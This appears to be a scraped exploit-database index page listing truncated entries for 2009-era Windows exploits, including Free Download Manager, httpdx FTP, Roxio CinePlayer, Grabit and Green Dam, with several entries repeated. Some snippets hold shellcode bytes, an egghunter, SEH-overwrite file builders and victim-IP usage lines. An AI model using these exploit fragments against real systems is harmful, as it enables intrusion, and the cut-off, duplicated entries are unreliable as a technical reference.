绿坝 3.17 URL Processing Buffer Overflow Exploit (meta)

No description provided by source. greendamurl.rb Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework Green Dam Youth Escort 3.17 successfully exploited on the following platforms: - Internet Explorer 6, Windows XP SP2 - Internet Explorer 7, Windows XP SP3 - Internet...

Microsoft Windows win32k.sys驱动本地权限提升漏洞(MS09-025)

BUGTRAQ ID: 35121 CVECAN ID: CVE-2009-1123 Microsoft Windows是微软发布的非常流行的操作系统。 Windows内核未能正确地验证某些内核对象中的更改的方式，导致权限提升漏洞。成功利用此漏洞的攻击者可以运行内核态中的任意代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP2 Microsoft Windows Vista SP1 Microsoft...

Free Download Manager 2.53.0 - Control Server Remote Buffer Overflow

Free Download Manager 2.53.0 - Control Server Remote Buffer Overflow !/usr/bin/python Usage : fdm.py victimeip Bug : Free Download Manager 2.5/3.0 Control Server Remote BOF Exploit Fix : update Founder : Praveen Darshanam Tested on : Xp sp3 en Exploited by : His0k4 Greetings : All friends & musli...

Worldweaver DX Studio Player shell.execute() Command Execution

This module exploits a command execution vulnerability within the DX Studio Player from Worldweaver for versions 3.0.29 and earlier. The player is a browser plugin for IE ActiveX and Firefox dll. When an unsuspecting user visits a web page referring to a specially crafted .dxstudio document, an...

Free Download Manager 2.5/3.0 (Control Server) Remote BOF Exploit

Exploit for windows platform in category remote exploits ================================================================= Free Download Manager 2.5/3.0 Control Server Remote BOF Exploit ================================================================= !/usr/bin/python Usage : fdm.py victimeip Bu...

ICQ 6.5 URL Search Hook (Windows Explorer) Remote BOF PoC

No description provided by source. ?php / ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer remote buffer overflow poc by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ If the resulting file is placed on the desktop, against ex. xp sp3 process...

Roxio CinePlayer 3.2 Buffer Overflow

Boom! Roxio CinePlayer 3.2 IAManager.dll Remote BOF Exploit heap spray Advisory from secunia 22251 By : His0k4 Greetings: All friends dz, snakespc.com Tested on Windows Xp Sp3 en,with IE7 //calc shellcode = unescape"%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +...

Roxio CinePlayer 3.2 (IAManager.dll) Remote BOF Exploit (heap spray)

Exploit for windows platform in category remote exploits ==================================================================== Roxio CinePlayer 3.2 IAManager.dll Remote BOF Exploit heap spray ==================================================================== Boom! Roxio CinePlayer 3.2...

Roxio CinePlayer 3.2 (IAManager.dll) Remote BOF Exploit (heap spray)

No description provided by source. html head titleBoom!/title brRoxio CinePlayer 3.2 IAManager.dll Remote BOF Exploit heap spray/br brAdvisory from secunia 22251/br brBy : His0k4/br brGreetings: All friends dz, snakespc.com/br brTested on Windows Xp Sp3 en,with IE7/br object...

httpdx <= 0.5b FTP Server (CWD) Remote BOF Exploit (SEH)

Exploit for windows platform in category remote exploits ======================================================== httpdx " %sys.argv0 sys.exit0 skape's egghunter shellcode shellunt= "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"...

httpdx &lt;= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)

No description provided by source. !/usr/bin/python Usage : httpdx.py targetip | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Bug : httpdx = 0.5b FTP Server USER Remote BOF Exploit SEH Founder : sico2819 Tested on : Xp sp3 ENVB Exploited by : His0k4 Greetings : All friends &...

httpdx 0.5b - FTP Server (CWD) Remote Buffer Overflow (SEH)

!/usr/bin/python Usage : httpdxcwd.py targetip user pass Example : httpdxcwd.py 192.168.1.3 ftp 123 Stack encouraged me to exploit this bug , so thx brotha | || | / \ | | | | | | | | | - " %sys.argv0 sys.exit0 skape's egghunter shellcode shellunt=...

Microsoft PowerPoint Legacy File Format Master Page buffer overflow

Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...

Microsoft PowerPoint Legacy File Format Master Page buffer overflow

Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...

Microsoft PowerPoint Legacy File Format Master Page buffer overflow

Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...

Microsoft PowerPoint Legacy File Format Master Page buffer overflow

Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...

Grabit <= 1.7.2 Beta 3 (.nzb) Local Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ================================================================= Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcod...

32bit FTP (09.04.24) - CWD Response Universal Overwrite (SEH)

32bit FTP 09.04.24 - CWD Response Universal Overwrite SEH !/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Bug : 32bit FTP 09.04.24 CWD Response Universal Seh Overwrite Exploit Refer : http://www.milw0rm.com/exploits/8611 Tested on : Xp sp3 ENVB Exploited by :...

Grabit 1.7.2 Beta 3 - '.nzb' Local Buffer Overflow (SEH)

!/usr/bin/perl Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcode"; close nzb; sleep 1; print "\nFile $file successfully created!\n"; milw0rm.com 2009-05-05...

Grabit 1.7.2 Beta 3 SEH Overwrite

!/usr/bin/perl Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcode"; close nzb; sleep 1; print "\nFile $file successfully created!\n";...